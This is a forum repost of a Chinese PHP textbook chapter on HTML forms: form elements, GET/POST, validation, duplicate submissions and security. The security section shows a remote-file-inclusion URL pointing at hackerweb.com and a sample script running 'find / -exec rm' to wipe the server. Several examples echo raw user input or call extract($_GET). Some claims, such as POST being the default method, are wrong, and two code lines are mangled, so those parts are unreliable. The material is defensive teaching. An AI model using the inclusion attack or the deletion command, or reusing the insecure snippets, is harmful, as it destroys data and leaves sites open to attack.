+ -
当前位置:首页 → 问答吧 → 第5章 表单——处理用户输入

第5章 表单——处理用户输入

时间:2007-10-23

来源:互联网

提到Web开发,就不得不提到HTML,它在若干年以来一直作为Web用户界面设计的事实标准。虽然现在WAP/XML等页面脚本的使用使得HTML作为一枝独秀的形势难以维系,但是如果要编写前端PHP的Web应用,开发者仍然需要了解HTML语言,尤其是HTML的表单部分。
在本章,我们将学习如下内容:
Ø使用Dreamweaver设计HTML表单
Ø使用PHP发送与接收表单数据
ØPHP表单多页的传值及处理
Ø使用PHP验证用户输入
Ø在PHP中防止一些轻量级的攻击
ØPHP的两种会话管理方式:COOKIE和SESSION
Ø规划我们的Web应用程序


5.1 表单与HTML


HTML是一种简单的标记语言,为使用者提供了极大的灵活性,这一点使它很容易学习和编写,也同样是由于这一点,太多的网页设计人员对HTML的设计与编码几乎为滥用,导致一个页面在IE、Firefox、Mozila几个不同浏览器中显示得千差万别。
如今的Web设计已经启用新的标准,旨在使网页的HTML只包含内容和信息,以标准HTML和CSS(级联样式表)存储信息的方式,也就是现在流行的DIV+CSS设计标准。

有一些人建议使用XML来取代HTML语言。虽然XML有这样那样的强大功能,不过因为入门的门槛较高,让人望而生畏,而且目前有太多的HTML型网站,因此目前沿行的标准是HTML与XML的兼容规格,叫做XHTML,用以从HTML过渡到XML。在本书中的代码都是基于XHTML兼容性的,建议你也将XHTML应用到Web项目中。创建和处理表单是PHP开发者的一个重要能力指标。下面我们开始介绍如何设计表单。



5.2设计表单

表单是Web应用中最常用的组件,由提交按钮以及其他相关元素组成。表单被应用在各个领域中,用于实现注册用户、填写银行账户和登录等功能。

表单使用<form>作为开始标签,以</form>结尾,否则将不起任何作用。在一个HTML页面中允许有若干个表单,在编写时以表单的名字(name)和Form ID作为它们之间的区分。
下面是最简单的表单,代码如下:
复制PHP内容到剪贴板
PHP代码:
<form>
      <input type="submit" />
</form>


这个表单在浏览器上只会显示一个按钮“提交查询内容”字样,没有太多的意义。如果要提交数据并形成一个完整的表单,需要在<form>标签增加两个比较重要的属性标签:action和method,如以下表单所示:
复制PHP内容到剪贴板
PHP代码:
<form name="regform" id="regform" action="getPasswd.php" method="post">
     电子邮件:<input type="text" size=30 name="email" value="">
     <input type="submit" value="确  定" name="btnSubmit"> 
</form>


其中,action标签指的是接收处理结果的文件位置,当action值为空时,则提交给当前文件本身,如果action的值为其他文件或URL,则提交给该文件或URL地址处理。
method标签是描述提交数据时使用的方法,它有两种值:GET和POST,如果没有设置method属性或该属性为空值,浏览器默认method的值为POST方法。
下面是处理POST表单的方法。
例5-1:getPasswd.php �C 接受POST表单提交的值
复制PHP内容到剪贴板
PHP代码:

<?php 
   $action = $_SERVER['PHP_SELF'];
   if ($_SERVER['REQUEST_METHOD'] == 'POST') { 
      echo '使用POST方法传递表单值';
      echo "$_POST[email]"; 
   } 
?>

<form name="regform" id="regform" action="<?php echo $action;?>" method="post">
    电子邮件:<input type="text" size=30 name="email" value="">
    <input type="submit" value="确  定" name="btnSubmit">
</form>
5.3GET与POST的区别


如果要在浏览器中发送表单或数据给服务器端,使用GET或POST方法都能实现。GET方法是在访问URL时,使用浏览器地址栏来传递值。我们可以在很多网站上看到这类URL串,图5-1所示的就是使用GET方法传递参数。


图5-1

GET方法方便直观,缺点是访问该网站的用户也可以修改URL串后发送给服务器,如果程序处理得不够好很容易出错,而且GET传递的字符串长度不能超过250个字符,如果超长,浏览器会自动截断,导致数据缺失。另外,GET方法不支持ASCII字符之外的任何字符,比如包含有汉字或其他非ASCII字符时,需要使用额外的编码操作,虽然有时候浏览器也能自动完成(可以使用url_encode和url_decode函数,使用方法详见2.9.2节)。

POST方法发送变量数据时,对于用户来说是不透明的,按HTTP协议来说,数据附加于header的头信息中,用户不能随意修改,这对于Web应用程序而言,安全性要好得多,而且使用POST可以发送大体积的数据给Web服务器。

因为POST是随HTTP的header信息一起发送的,当触发POST表单提交后,如果用户浏览页面时单击“后退”按钮,浏览器不会自动重发POST数据。如果用户此时单击“刷新”按钮,将会有“数据已经过期,是否重新提交表单”的提示,这一点不如GET使用方便。使用GET传值时,即便用户使用“后退”或“刷新”按钮,浏览器的URL地址也是仍然存在的。

因此,我们在开发中需要根据实际应用灵活选择GET和POST来提交表单数据。

值得一提的是,如果在HTML中缺少表单结束标记</form>,那么整个表单是不会触发任何提交动作的。在实际开发时,一些粗心的人会发现单击按钮没有任何反映,其实细心检查一下表单的代码就可以了,有时即使少写了一个HTML字符,浏览器也不会替我们干活的。
附件: 您所在的用户组无法下载或查看附件

作者: PHPChina   发布时间: 2007-10-23

把书籍的内容发上来了,呵呵,很好!~~

作者: forest   发布时间: 2007-10-23

写的不错,一看就是自己写的书,不象是抄袭和拼凑的,呵呵,管理员继续发!~~

作者: forest   发布时间: 2007-10-23

5.4表单元素


表单所使用的标签元素有十几个,PHP开发中常用及较重要的标签如表5-1所示。
表5-1

表单元素

说    明

input type="checkbox" 复选框,允许用户选择多个选择项
input type="file" 文件浏览框,当文件上传时,可用来打开一个模式窗口以选择文件
input type="hidden" 隐藏标签,用于在表单中以隐含方式提交变量值  
input type="password" 密码文本框,用户在该文本框输入字符时将被替换显示为*号
input type="radio" 单选项,用于设置一组选择项,用户只能选择一个
input type="reset" 清除与重置表单内容,用于清除表单中所有文本框的内容,而且使选择菜单项恢复到初始值
input type="submit" 表单提交按钮
input type="text" 单行文本框
select 下拉列表框,可单选和多选。默认为单选,如果增加多项选择功能,增加<select name="select" size="自定义列数" multiple="multiple">即可
option 列表下拉菜单,和select配合使用,显示供选择的
textarea 多行文本框,在使用文本框时需要关闭标签之间的文本内容,形成如下格式:<Textarea>你的文字</Textarea>

其中,hidden标签被称为隐藏或隐含的标签,它不会在用户浏览的页面界面上出现,当用户填写资料表单和跨页之间传值时,可以使用该标签传递一些隐含的值。
password密码文本框用于隐藏密码,用户输入的文本将以*显示在文本框中,但是密码并没有加密,只是被*替换显示,这点请注意。
下面介绍表单的属性,它们用于表单中约束表单元素的行为或显示,其含义与约束如表5-2所示。
表5-2

属性名称

说    明

name 文本框的名称,PHP根据该名称,在超级全局数组中建立以name为名称的键名
size 文本框的宽度,在select下拉菜单中,表示可以看到的选项行数
value 文本框中的默认值,注意,该值不能应用到type=password密码文本框以及type=file文件文本框中
multiple 此属性用于下拉列表菜单select中,指定该选项用户可以使用Ctrl和Shift键进行多选
rows 多行文本框显示时可以容纳的字符列数宽度
cols 多行文本框显示时可以容纳的字符行数高度

除了以上一些必要的属性元素外,还有一些标准属性,如class,style,id等,可以参阅HTML相关资料。
在一些动态脚本中,需要使用PHP根据不同的请求从数据库生成表单元素,下面我们就来展示几种生成表单按钮或选项的方法。
1.动态生成一组单选按钮。
复制PHP内容到剪贴板
PHP代码:

<?php
  $options = array("010" => "北京",
                   "020" => "上海",
                   "024" => "沈阳",
                   "0411"=> "大连");
  $default = "024";
  $html = generate_radio_group("city_id", $options, $default);
  echo $html;
  function generate_radio_group($name, $options, $default="") {
     $name = htmlentities($name);
     foreach($options as $value => $label) {
        $value = htmlentities($value);
        $html .= "<INPUT TYPE=\"RADIO\" ";
            if ($value == $default){
                $html .= "CHECKED ";
            }
        $html .= "NAME=\"$name\" VALUE=\"$value\">";
        $html .= $label . "<br>";
     }
  return($html);
}
?>

该脚本将生成一列单选按钮组,名称为city_id,默认选项为024-“沈阳”。
2.动态生成多选项下拉列表菜单。
复制PHP内容到剪贴板
PHP代码:

<?php
   function generate_checkboxes($name,$options, $default=array()) {
      if (!is_array($default)){
      $default = array();
      }

   foreach($options as $value => $label) {
      $html .= "<input type=checkbox ";
      if (in_array($value, $default)){
         $html .= "checked ";
      }

      $html .= "name=\"{$name}[]\" value=\"$value\">";
      $html .= $label . "<br>";
   }
   return($html);
   }

   $interests = array("音乐" => "音乐",
                      "电影" => "电影",
                      "互联网"=> "互联网",
                      "旅游" => "旅游");
   $html = generate_checkboxes("interests",$options, $interests);
?>


选择您的爱好:
   <form action="interests.php" method=post>
   <?php echo $html;?>
   <input type=submit value="继续">
</form>
3.生成多选下拉列表菜单。
复制PHP内容到剪贴板
PHP代码:

<?php 
   $options = array( '1' => '请选择', 
                     'news' => '新闻', 
                     'events' => '事件', 
                     'publications' => '稿件' ); 
   $default = "news";
   //默认已选择的项
   $html =generate_muilti_option("select", $options, $default);
   echo $html;

   function generate_muilti_option ($name,$options, $default){
   //建立一个允许多选的列表单
      echo '<select name="'.$name.'[]" id="'.$name.'[]" multiple="multiple">'; 
      foreach( $options as $value => $option ) { 
         echo '<option value="' . htmlspecialchars( $value ) . '"' ; 
         if( $default == $value ) { 
            echo ' selected'; 
         } 
         echo '>' . htmlspecialchars( $option ) . '</option>';
      } 
      echo '</select>'; 
}
?>

一般动态生成的菜单,多为从数据库取得数据或数据数组,转换成动态HTML菜单,也可以手工创建。

作者: PHPChina   发布时间: 2007-10-23

5.5表单的处理方法

5.5.1检查表单提交的来源
有些时候,我们需要对表单提交的来源进行处理,比如只允许某个主机或向脚本本身进行提交,防止有的人伪造相同的表单向我们的程序提交,造成安全问题。

前面我们介绍到,PHP的$_SERVER服务器超级全局数组提供了一个叫$_SERVER['HTTP_REFERER']的变量,用于保存上一页的来源,比如表单提交或者超级链接的URL地址。如果有人从他的计算机中提交表单或从浏览器地址中直接输入当前脚本名称,该变量会保存表单来源或为空值,这样我们就可以通过它的值进行处理。

下面的例子只允许文件本身提交表单传递值。
例5-2:formreferer.php �C 判断表单来源地址
复制PHP内容到剪贴板
PHP代码:

<?php
   $action = $_SERVER['PHP_SELF'];
   if ($_SERVER['REQUEST_METHOD'] == 'POST'){
      $ref = $_SERVER['HTTP_REFERER'];
      $srv = [url=http://{$_SERVER[]http://{$_SERVER['SERVER_NAME']}$action[/url];
      echo "当前来源为:<br><b>$ref</b><br>服务器地址为:<br><b>$srv</b><hr>";
      if (strcmp($srv, $ref) == 0){
          echo "匹配";
      }
      else{
          echo "不允许站外提交";
      }
   }else{
      echo '请提交表单';}
?>

<form action="<?php echo $action;?>" method="post">
<input type="submit" value="提交"/>
</form>
该例中用到的$_SERVER服务器变量有如下几个:
ØHTTP_REFERER  保存一个完整的来源URL地址。
ØSERVER_NAME
当前的服务器名称。
ØPHP_SELF
当前脚本的完整路径,包括文件名。
我们可以通过“http:// <SERVER_NAME>< PHP_SELF > == <HTTP_REFERER>”来比较,如果相同,则是合法的表单提交,否则不予处理。运行例5-2脚本,单击“提交”按钮后的结果如图5-2所示。

图5-2

5.5.2 一个完整表单处理
前面我们已经了解了处理表单的简单方式。下面我们将创建一个复杂的表单,代码如下所示。
复制PHP内容到剪贴板
PHP代码:
<form action="someform.php" method="post">
   <table width="541" border="0">
      <tr>
         <td width="26%">姓名:</td>
         <td width="74%">

            <input type="text" name="username" value="raymond" id="username" />

         </td>
      </tr>
      <tr>
          <td>密码:</td>
          <td>

             <input type="password" name="password" maxlength="10" id="password" />

          </td>
      </tr>
      <tr>
         <td>年龄:</td>
         <td>
            <select name="age">
               <option value=">16">小于16</option>
               <option value="16-30" selected>16-30</option>
               <option value="31-50">31-50</option>
               <option value="51-80">51-80</option>
            </select>
         </td>
      </tr>
      <tr>
         <td valign="top">自我介绍:</td>
         <td><textarea name="intro" rows="3" cols="50" id="intro">请输入您的自我介绍</textarea>

         </td>
      </tr>
      <tr>
         <td><br />体育爱好: </td>
         <td><input type="radio" name="fave_sport" value="tennis" checked>网球

               <input type="radio" name="fave_sport" value="football">足球

               <input type="radio" name="fave_sport" value="baseball">篮球
             <input type="radio" name="fave_sport" value="polo">保龄球 

         </td>
      </tr>
      <tr>
         <td> 开发语言:</td>
         <td><input name="from" type="hidden" id="from" value="注册表单">
         <input type="checkbox" name="languages[]" value="php" checked id="languages[]">php
         <input type="checkbox" name="languages[]" value="java" id="languages[]">java
         <input type="checkbox" name="languages[]" value="perl" id="languages[]">perl
         <input type="checkbox" name="languages[]" value="cpp" id="languages[]">c++
         <input type="checkbox" name="languages[]" value=".net" id="languages[]">.NET
         <input type="checkbox" name="languages[]" value="delphi" id="languages[]">delphi 

         </td>
      </tr>
      <tr>
         <td valign="top"><br>
            <label> 开发工具:</label></td>
         <td><select name="develop_ide[]" size="5" multiple id="develop_ide[]">
                <option value="ZDE" selected>Zend Studio</option>
                <option value="Eclipse">Eclipse</option>
                <option value="Editplus">Editplus</option>
                <option value="Ultraedit">Ultraedit</option>
                <option value="Other">Other</option>
             </select></td>
      </tr>
      <tr>
         <td valign="top"> </td>
         <td><input type="submit" name="btn_submit" value="提交" /></td>
      </tr>
   </table>
</form>

该表单包括了常用表单元素:单行文本框、多行文本框、单选项(radio)、多选项(checkbox),以及多选菜单。下面进行详细的说明。
Ømaxlength是与密码文本框关联的属性,它限制用户输入密码的最大长度为10个字符。
Øage列表框是列表菜单,它的命名属性下都有自己的值供选择。selected是一个特定的属性选择元素,如果某个option附加有该属性,在显示时就把该项列为第一项显示。
Øintro文本框中的内容,按照rows和cols显示文字、行和列宽。
Øfave_sport是一组单选按钮(radio),我们要按组命名元素名称,比如这一组单选按钮都叫做fave_sport,用户只可选择一个,发送脚本端也只存在一个值。
Ø和单选项一样,所有多选项成员也须有同名的属性,而属性名称需要添加括号[],这样就把多选项的值以数组形式发送给PHP,languages就是这种形式。
Øchecked标签是指单选项和多选项中的某个值,默认已经被选择。
上面表单的显示画面如图5-3所示。

图5-3

因为上面HTML中的form表单使用的是POST方法传递数据,所以用户提交的数据会保存到$_POST或$_REQUEST的超级全局数组中,我们根据$_POST数组中的值就可以处理提交的数据。
将上面表单中数据提交到someform.php脚本,该脚本的处理逻辑如下:
复制PHP内容到剪贴板
PHP代码:

<?php
   //通过判断按钮的变量名是否在$_POST中定义,如果有表示该表单已提交
   if(isset($_POST["btn_submit"])){
   if (empty($_POST['username'])){
      echo "您没有输入用户名";
      exit(0);
   }

   if (empty($_POST['password'])){
      echo "您没有输入密码: ";
      exit(0);
   }


   echo "您的用户名: ".$_POST['user_name']."<br />";
   echo "您的密码(明文): ".$_POST['password']."<br />";
   echo "您的年龄: ".$_POST['age']."<br />";
   if (!empty($_POST['languages'])){
      echo "您选择的语言为:";
      //处理用户选择兴趣的checkbox按钮产生的数组
      foreach ($_POST['languages'] as $lang){
         echo $lang. "  ";
      }
   } else {
      echo "您没有输入任何兴趣爱好";
   }

   if (!empty($_POST['develop_ide'])){
      echo "您使用的开发工具为:";
      //处理用户多选开发工具菜单产生的数组
      foreach ($_POST['develop_ide'] as $ide){
         echo $ide. "  ";
      }
   } else {
      echo "您没有选择开发工具";
   }

   echo "您的自我介绍: ".nl2br($_POST['intro'])."<br />";
   echo "网页隐藏值(通过hidden标签值传递): ".$_POST['from']."<br />";
}
?>

说明:使用POST方式提交表单,通过HTTP协议的header部分传递表单数据,理论上数据的大小无上限。不过,在使用PHP进行POST提交时,文件大小受PHP配置文件(php.ini)限制,我们可以修改php.ini文件中的post_max_size参数,可将默认的2M字节,修改为自己需要的大小,但由于HTTP协议的特性,这个值不宜设置过大,最大以8M为宜。

附件: 您所在的用户组无法下载或查看附件

作者: PHPChina   发布时间: 2007-10-23

5.6其他处理表单的方法

下面,让我们一起来看两种处理表单的编程方法以及它们的优缺点。

5.6.1使用import_request_variables()函数

使用import_request_variables()函数可以有选择地注册全局变量集合。你可以使用该函数导入 $_GET、$_POST和$_COOKIE的值,还可以为每个导入的变量添加前缀(prefix)。

bool import_request_variables ( string types [,string prefix])
参数中types字符串中允许为g、p、c字符,或者3个字符间任意的组合。其中,“g”表示GET变量,“p”表示POST变量,“c”表示cookies。

注意:3个字符的排列顺序是有区别的,当使用“pg”时,POST变量将使用相同的名字覆盖$_GET变量;反之,当使用“gp”时,$_GET变量数组将优先于$_POST。



prefix参数作为变量名的前缀,置于所有被导入到全局作用域的变量之前。比如我们有个名为“userid”的$_GET超级全局变量数组,同时提供了“pref_”作为前缀,那么我们将获得一个名为$pref_userid的全局变量。如果我们要导入其他全局变量(例如$_SERVER变量),则请考虑使用extract()函数(在函数一章中有介绍)。注意,在使用prefix前缀时,不要与现有数据或变量名产生冲突。

使用import_request_variable()函数实现变量导入的脚本例子如下:

//导入POST提交的变量值,前缀为post_
import_request_variable("p", "post_");
//导入GET和POST提交的变量值,前缀为gp_,GET优先于POST
import_request_variable("gp", "gp_");
//导入Cookie和GET的变量值,Cookie变量值优先于GET
import_request_variable("cg", "cg_");
如果我们在import_request_variables()函数中使用了“pg参数”,请看如下脚本实例:

复制PHP内容到剪贴板
PHP代码:

<?php
   if(isset($_REQUEST['btn_submit'])){
      echo "正常取得的表单POST变量值:".$_REQUEST['Username']."<br />";
      import_request_variables("pg", "import_");
      //显示导入的变量名称
      echo "使用import_request_variables函数导入的变量值:".$import_Username; 
   }
?>


<form id="test_form" name="test_form" method="POST" action="">
   请输入您的名字:

   <label>
      <input type="text" name="Username" id="Username" />
   </label>
   <label>
      <input type="submit" name="btn_submit" id="btn_submit" value="提交" />
   </label>
<br />
</form>
该表单提示用户输入一个名字,完成并提交后,脚本会把提交的名字显示在浏览器上,如图5-4所示。

图5-4

注意:prefix前缀参数是必选的,如果未指定前缀,或者指定一个空字符串作为变量前缀,PHP会抛出一个E_NOTICE错误。


import_request_variables()函数为我们提供一个中间方法,适用于如下几种情况:
1.当用户不能使用超级变量数组时;
2.在php.ini配置文件的register_globals参数为Off(PHP 5之后的版本默认为Off)时,使用import_request_variables将GET/POST/Cookie这几个超级变量数组导入到全局作用域中。
3.在开发时,只要声明了引入的变量范围,就不必写$_GET或$_REQUEST一堆很长的超级全局数组名称了。

5.6.2使用extract()函数

我们可以使用extract()函数,比如在接收页面脚本的最前面加上extract($_POST);extract($_GET);这样的语句,导出几个用于表单处理的超级变量数组值,如以下代码所示:
@extract(i_addslashes($_POST), EXTR_OVERWRITE);
@extract(i_addslashes($_GET), EXTR_OVERWRITE);
@extract(i_addslashes($_COOKIE), EXTR_OVERWRITE);
@extract(i_addslashes($_SESSION), EXTR_OVERWRITE);
我们看一个使用extract导出为正常变量的脚本例子:


复制PHP内容到剪贴板
PHP代码:

<?php
   // 将$_GET和$_POST超级变量数组获取的变量转为正常的变量,这样直接显示变量名称即可
   extract($_GET);
   extract($_POST);
   echo "您好, $username $age";
?>


<form action="" method="post">
   姓名:<input type="text" name="username" id="username" />
   年龄:<select name="age">
          <option value=">16">小于16</option>
          <option value="16-30" selected>16-30</option>
          <option value="31-50">31-50</option>
          <option value="51-80">51-80</option>
       </select></td>
   <input type="submit" name="btn_submit" value="提交" />
</form>
实现的界面如图5-5所示。

图5-5



5.7多页面间传递数据


当遇到一个非常大的表单时,不可能把所有的表单都放在一个页面里面,需要将一个大表单分解成若干个小表单,并保存于几个页面中,当第一个表单填写完后,需要收集该表单的值并传递给下一个表单页面。
我们可以使用如下方法进行处理。
Ø使用表单的隐含元素(hidden)。
Ø把当前表单的数据保存在SESSION中(详情请参见会话一章)。
Ø把当前表单的数据保存在MySQL数据库中。
你可以从以上三个方案中选择一种易于程序处理和调试的解决方案。表单的传值可以使用POST,这样传递数据的尺寸不成问题,另外,在调试程序时,我们可以通过查看HTML源文件方式,来知道当前的变量是否是预想的值。
对于一个非常大的表单,我们就要想办法把它们分解成两个或更多个表单以方便用户输入,这需要在页面间传值,代码如下:
<INPUT TYPE="HIDDEN" NAME="Name" VALUE="<?php echo $_REQUEST['Name']; ?>">
<INPUT TYPE="HIDDEN" NAME="Password" VALUE="<?php echo $_REQUEST['Password']; ?>">
当多个页面传递数据时,我们可以使用类似上面的语句来处理前一页或通过URL传递的值。
附件: 您所在的用户组无法下载或查看附件

作者: PHPChina   发布时间: 2007-10-23

5.8验证表单数据


前面提过,不能指望用户按我们的意愿输入数据,因此,在用户提交表单后,一定要对用户输入进行校验处理,比如希望用户输入1012,而不是输入10.12这种数据,这就需要我们在客户端(浏览器)和PHP两端都要进行验证。

5.8.1客户端验证

我们可以使用JavaScript在客户端来校验表单内容,如果数据正确才允许提交到服务器端,这是Web开发中最常见的方法。利用客户端验证的好处是用户反馈快,无须直接到服务器请求信息后再下载HTML页。大多数验证是放在表单的"onSubmit"事件中,当JavaScript处理表单验证,用户试图递交表单,则立即返回布尔值False,浏览器也不会进行表单提交,方便用户立即纠正错误,因为校验动作都在客户端,从而减小了服务器端的负荷。其缺点是,客户端浏览器如IE、Firefox,它们对所支持的JavaScript脚本解释并不完全相同,在细节上彼此也有些差异。此外,一些用户为了安全,在浏览器端禁止了对JavaScript的支持,或者根本就是恶意的关闭,这样客户端浏览器就完全不理会客户端验证,为避免这个安全问题,所以仍需要在服务器端进行再次数据验证。

5.8.2服务器端验证

使用服务器端数据验证,是利用PHP脚本来处理表单数据。与客户端验证相比,使用服务器验证的优点在于:它更安全,与所有浏览器无缝对接;缺点是代价稍高,用户反馈慢、增加了服务器负荷。
使用服务器端验证另一大的优势是,你可以用PHP对校验规则进行任意的修改,利用PHP的多种函数和灵活特点,可以很方便更改校验的数据类型、长度,以及检查文本框范围内的号码等。
另外,如果用PHP连接MySQL数据库才能验证用户名是否存在,这种情况下,根本不可能使用客户端脚本。

5.8.3避免表单重复提交

用户提交表单时可能因为网速的原因,或者网页被恶意刷新,致使同一条记录重复插入到数据库中,这是一个比较棘手的问题。我们可以从客户端和服务器端一起着手,设法避免同一表单的重复提交。
1.使用客户端脚本提到客户端脚本,经常使用的是JavaScript进行常规输入验证。在下面的例子中,我们使用它处理表单的重复提交问题,请看下面的代码:

复制PHP内容到剪贴板
PHP代码:
<form method="post" name="register" action="test.php" enctype="multipart/form-data"> 
   <input name="text" type="text" id="text" />
   <input name="cont" value="提交" type="button" FONT-FAMILY: 宋体; mso-ascii-font-family: 'Courier New'; mso-hansi-font-family: 'Courier New'">正在提交,请等待...';document.register.cont.disabled=true;document.the_form.submit();"> 
</form>

当用户单击“提交”按钮后,该按钮将变为灰色不可用状态,如图5-6所示。

图5-6
上面的例子中使用OnClick事件检测用户的提交状态,如果单击了“提交”按钮,该按钮立即置为失效状态,用户不能单击按钮再次提交。
还有一个方法,也是利用JavaScript的功能,但是使用的是OnSubmit()方法,如果已经提交过一次表单,将立即弹出对话框,代码如下:
复制PHP内容到剪贴板
PHP代码:
<script language="javascript">
<!--
   var submitcount=0;
   function submitOnce (form){
      if (submitcount == 0){
         submitcount++;
         return true;
      } else{
         alert("正在操作,请不要重复提交,谢谢!");
         return false;
      }
   }
//-->
</script>

<form name="the_form" method="post" action="" > 
   <input name="text" type="text" id="text" />
   <input name="cont" value="提交" type="submit"> 
</form>
在上例中,如果用户已经单击“提交”按钮,该脚本会自动记录当前的状态,并将submitcount变量自加1,当用户试图再次提交时,脚本判断submitcount变量值非零,提示用户已经提交,从而避免重复提交表单。
2.使用Cookie处理使用Cookie记录表单提交的状态,根据其状态可以检查是否已经提交表单,请见下面的代码:
复制PHP内容到剪贴板
PHP代码:

<?php
   if(isset($_POST['go'])){
     setcookie("tempcookie","",time()+30);
     header("Location:".$_SERVER[PHP_SELF]);
     exit();
   }
   if(isset($_COOKIE["tempcookie"])){
     setcookie("tempcookie","",0);
     echo "您已经提交过表单";
   }
?>

如果客户端禁止了Cookie,该方法将不起任何作用,这点请注意。关于Cookie的详细介绍,请参阅第10章“PHP会话管理”。
3.使用Session处理利用PHP的Session功能,也能避免重复提交表单。Session保存在服务器端,在PHP运行过程中可以改变Session变量,下次访问这个变量时,得到的是新赋的值,所以,可以用一个Session变量记录表单提交的值,如果不匹配,则认为是用户在重复提交,请见如下代码:
复制PHP内容到剪贴板
PHP代码:

<?php
   session_start();
   //根据当前SESSION生成随机数
   $code = mt_rand(0,1000000);
   $_SESSION['code'] = $code;
?>

在页面表单上将随机数作为隐藏值进行传递,代码如下:

<input type="hidden" name="originator" value="<?=$code?>">

在接收页面的PHP代码如下:

复制PHP内容到剪贴板
PHP代码:

<?php
   session_start();
   if(isset($_POST['originator'])) {
   if($_POST['originator'] == $_SESSION['code']){
      // 处理该表单的语句,省略
   }else{
      echo ‘请不要刷新本页面或重复提交表单!’;
   }
}
?>

关于Session的内容,我们会在第10章“PHP会话管理”详细讨论,你可以直接查阅这一章,然后再返回本节继续阅读。

4.使用header函数转向除了上面的方法之外,还有一个更简单的方法,那就是当用户提交表单,服务器端处理后立即转向其他的页面,代码如下所示。
复制PHP内容到剪贴板
PHP代码:
if (isset($_POST['action']) && $_POST['action'] == 'submitted') {
   //处理数据,如插入数据后,立即转向到其他页面
   header('location:submits_success.php');
}

这样,即使用户使用刷新键,也不会导致表单的重复提交,因为已经转向新的页面,而这个页面脚本已经不理会任何提交的数据了。

5.8.4表单过期的处理

在开发过程中,经常会出现表单出错而返回页面的时候填写的信息全部丢失的情况,为了支持页面回跳,可以通过以下两种方法实现。
1.使用header头设置缓存控制头Cache-control。
header('Cache-control: private, must-revalidate');
//支持页面回跳

2.使用session_cache_limiter方法。
session_cache_limiter('private, must-revalidate'); //要写在session_start方法之前
下面的代码片断可以防止用户填写表单的时候,单击“提交”按钮返回时,刚刚在表单上填写的内容不会被清除:
session_cache_limiter('nocache');
session_cache_limiter('private');
session_cache_limiter('public');
session_start();
//以下是表单内容,这样在用户返回该表单时,已经填写的内容不会被清空
将该段代码贴到所要应用的脚本顶部即可。
Cache-Control消息头域说明Cache-Control指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置Cache-Control并不会修改另一个消息处理过程中的缓存处理过程。
请求时的缓存指令包括no-cache、no-store、max-age、max-stale、min-fresh和only-if-cached,响应消息中的指令包括public、private、no-cache、no-store、no-transform、must-revalidate、proxy-revalidate和max-age。各个消息中的指令含义如表5-3所示。
表5-3


缓存指令

说    明

public 指示响应可被任何缓存区缓存
private 指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效
no-cache 指示请求或响应消息不能缓存
no-store 用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存
max-age 指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应
min-fresh 指示客户机可以接收响应时间小于当前时间加上指定时间的响应
max-stale 指示客户机可以接收超出超时期间的响应消息。如果指定max-stale消息的值,那么客户机可以接收超出超时期指定值之内的响应消息

有关Session和Cookie的介绍,详细内容请参阅第10章“PHP会话管理”。


5.8.5判断表单动作的技巧

表单可以通过同一个程序来分配应该要处理的动作,在表单中有不同的逻辑,要怎么判别使用者按下的按钮内容不过是个小问题。
其实只要通过提交按钮的name 就可以知道了,表单在提交出去的时候,只有按下的submit类型的按钮才会被送到表单数组去,所以只要判断按钮的值就可以知道使用者按下哪一个按钮,以如下表单为例:
复制PHP内容到剪贴板
PHP代码:
<FORM method="POST" Action=test.php>
   <input type=submit name="btn" value="a">
   <input type=submit name="btn" value="b">
</FORM>

当使用者按下“a”按钮的时候btn=a,按下“b”按钮,则btn=b。
另外也可以通过提交按钮的名字(name)来判断,请见如下代码:
复制PHP内容到剪贴板
PHP代码:
<FORM method="POST" Action=test.php>
   <input type=submit name="a" value="提交A">
   <input type=submit name="b" value="提交B">
</FORM>

这样只要POST/GET的参数里面有a或b,就可以知道按下的按钮是哪个。
复制PHP内容到剪贴板
PHP代码:

<?php
   print_r($_POST);
?>

附件: 您所在的用户组无法下载或查看附件

作者: PHPChina   发布时间: 2007-10-23

5.9表单安全


网站的访客是千差万别的,他可能是一个学生,也可能是一位教授,可能是一个什么都不懂的电脑菜鸟,更有可能是个黑客,不管是弹出意外的错误,还是故意找碴,他们总是喜欢不按我们希望的方式输入,或者寻找我们网站的安全漏洞。
网站中一些常见漏洞,很多原因是开发者的大意造成的,当然还有一部分原因是因为操作系统或服务器配置的原因。常见的安全隐患与比例如表5-4所示。

表5-4

程序缺陷

比    例

用户输入不做验证 42.6%
访问控制缺陷 3.6%
SESSION ID验证漏洞 5.4%
数据库SQL注入 28.6%
错误报告 7.1%
其他问题 0.9%

这个结果作为我们编写程序时的警钟,它告诉我们,为了保证系统的安全,一定注意这几个漏洞,不要为了贪图一时之便,或者为了执行的效率而牺牲了系统安全性,万一失掉了宝贵的数据,或者网站被别人用来发放不良信息而影响了信誉,就得不偿失了。
在本节中,我们介绍导致站点被连续攻击的漏洞,然后,介绍针对这些问题介绍技术解决方法。

5.9.1处理全局性错误

可以确定,一些经常发生的错误是完全可以避免的,另外经常浏览安全网站,或订阅相关的邮件列表,可以注意到每周的安全焦点和预防措施,以及专门针对于PHP应用程序的攻防策略。
1.全局变量一个最基本错误是没有适当地初始化全局变量。注意设置php.ini的开关参数。虽然PHP 5的register_globals参数值默认为Off,但为了防止这种错误的发生,我们仍要注意这个问题,如果程序中不能生成变量,那么这个程序很可能是在register_globals为On的状态下的开发的。
下面的代码就是在register_blobals=On的状态下开发的:
复制PHP内容到剪贴板
PHP代码:

<?php
   session_start();
   /*
   * $admin是一个session变量设置验证后的初始值
   */
   if (!$admin) {
      do_exit();
   } else {
      do_admin();
   }
?>

尽管这段代码看上去非常简单,并且也没有明显的语法错误,好像没有太多安全问题,但是只要存在一个缺陷,就可能导致一个攻击者使用这个程序行使“管理员”的权限。最多也最容易发生的问题是程序员使用动态的文件包括语句来处理页面流程,如以下代码所示。
复制PHP内容到剪贴板
PHP代码:

<?php
   include_once $module. '.php';
?>

这个脚本可以被攻击者利用,在服务器上执行任意PHP代码。
如果在浏览器上的URL GET参数,简单地加入?module=http://hackerweb.com/evilscript,会是什么效果?如果PHP接收到这个URL,会把$module变量等于http://hackerweb.com/evilscript.php。当运行到include()函数时,PHP会尝试在example.com包含这个evilscript.php,以及执行这个程序的代码,而evilscript可能包含如下的代码:
复制PHP内容到剪贴板
PHP代码:

<?php
   'find / -exec rm "{}" ";"';
?>

这串代码可以访问我们的服务器,并且把服务器上所有的文件全部删除!
还有一些潜在的危险,那就是register_globals的一些特性,我们一步一步地处理:
